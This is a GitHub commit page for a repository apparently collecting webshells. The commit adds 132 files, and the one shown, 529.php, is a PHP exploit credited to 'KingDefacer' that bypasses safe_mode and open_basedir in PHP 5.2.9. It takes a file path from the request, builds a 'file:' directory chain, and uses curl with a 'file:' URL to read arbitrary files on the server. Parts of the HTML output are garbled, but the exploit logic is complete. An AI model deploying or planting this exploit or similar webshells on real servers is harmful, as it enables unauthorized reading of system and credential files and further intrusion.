Skip to content

Commit de6db83

Browse files
author
John Ombagi
committed
webshells 1
0 parents  commit de6db83

File tree

132 files changed

+67677
-0
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

132 files changed

+67677
-0
lines changed

529.php

Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
2+
/*
3+
safe_mode and open_basedir Bypass PHP 5.2.9
4+
KingDefacer ARCHÝVES /
5+
6+
This Exploit Was Edited By KingDefacer
7+
NOTE:
8+
9+
10+
*/
11+
12+
if(!empty($_GET['file'])) $file=$_GET['file'];
13+
else if(!empty($_POST['file'])) $file=$_POST['file'];
14+
15+
echo '

This is exploit from

16+
href="/" title="Securityhouse">Security House - Shell Center - Edited By KingDefacer labs.
17+
Turkish H4CK3RZ
18+

[Turkish Security Network] - Edited By KingDefacer

19+

PHP 5.2.9 safe_mode & open_basedir bypass

20+
21+

$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["SCRIPT_N
22+
AME"]).$_SERVER["PHP_SELF"].'" method="post">htmlspecialchars($file).'">';
23+
24+
25+
$level=0;
26+
27+
if(!file_exists("file:"))
28+
mkdir("file:");
29+
chdir("file:");
30+
$level++;
31+
32+
$hardstyle = explode("/", $file);
33+
34+
for($a=0;$a<count($hardstyle);$a++){
35+
if(!empty($hardstyle[$a])){
36+
if(!file_exists($hardstyle[$a]))
37+
mkdir($hardstyle[$a]);
38+
chdir($hardstyle[$a]);
39+
$level++;
40+
}
41+
}
42+
43+
while($level--) chdir("..");
44+
45+
$ch = curl_init();
46+
47+
curl_setopt($ch, CURLOPT_URL, "file:file:///".$file);
48+
49+
echo ' ';
54+
55+
curl_close($ch);
56+
57+
?>
58+
bypass shell:

0 commit comments

Comments
 (0)